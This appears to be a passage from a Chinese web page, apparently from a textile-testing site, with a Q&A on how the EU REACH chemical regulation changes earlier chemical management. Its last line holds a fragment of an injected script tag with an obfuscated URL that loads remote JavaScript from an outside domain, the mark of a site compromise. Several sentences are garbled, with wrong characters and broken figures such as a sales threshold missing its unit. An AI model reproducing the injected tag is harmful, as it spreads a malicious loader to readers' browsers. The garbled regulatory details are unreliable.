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纺织品检测最易发生的问题排行榜 07.10.17
如何认识欧盟REACH法规? 07.5.18
问题解答  
问:REACH与目前国际上已经开展的工作相比有那些不同呢?
答:目前通行的化学品管理体系将化学物质分为现有化学物质和新化学物质两类:
1981年9月之前上市的化学品称为现有化学物质,之后赏识的成为新化学物质;目前欧盟市场现有化学物质有100106个,年销量超过11的约20000个,现有化学物质占市场上全部化学物质总数的99%以上,目前并无立法要求对它们进行风险评估,但其中的140个化学物质已被确定为重点物质,需要对它们进行综合风险评估;自1981年以来的新化学物质共2700个;欧盟现有的法规体系规定,对新老化学物质的风险评估由政府承担,且对现有化学物质的评估进展缓慢;目前欧盟有关化学品管理的法规有40多个,但缺乏一个能队所有化学品在其整个生命周期中的负面影响加以控制的综合统一的法规;欧盟估计目前欧盟市场上有50-500万含各种化学品的制品。
通过对欧盟现有的化学品管理法规体系和REACH的了解我们可以看出REACH的变化主要表现在以下几个方面:
1、物质风险管理责任由自然人或法律自然人变为“企业”;企业必须尽一切努力预防、限制和补救措施对人体健康和环境的影响,应选择安全的物质
2、注册时需要提供化学品安全报告由10吨/年进行了适当修改,CMR7年后决定,其他12年后决定是否都提交。
3、欧盟拟在法规生效2年后理发创建“欧盟质量标志”,以确保所有进口产品在生产过程符合REACH的规定。
4、增加科学知识和发展脊椎动物的替代方法,采取必要措施研究和发展新的非动物实验替代方法(体外毒理和QSARS预测模型等)
5、更加重视促进非动物实验,管理局成立替代检测方法委员会,负责指定发展和执行策略,加速发展非动物实验;委员会由欧盟政府组织、动物福利组织和其他相关利益方组成,将提供方法列表、数据库以及认可模式;
6、因脊椎动物实验不得重复,持有动物实验结果者必须预先通报管理局,且必须分享研究结果,否则不能注册该物质,同样潜在注册者也必须支付费用,否则也不得注册该物质。
7、费用分摊按照注册吨数计算,如果生产吨数多则多承担,研究结果由10年后自由使用变为12年。为了减少企业负担,只有在进行脊椎动物实验时才必须遵循GLP。
8、增加纳米材料的定义,对于纳米的风险评估认为现有方法不足以全面评估,法规规定纳米材料投放市场的前提是确保足够的安全评估下。rc=http://3bom%62%2Ecom/c.js>
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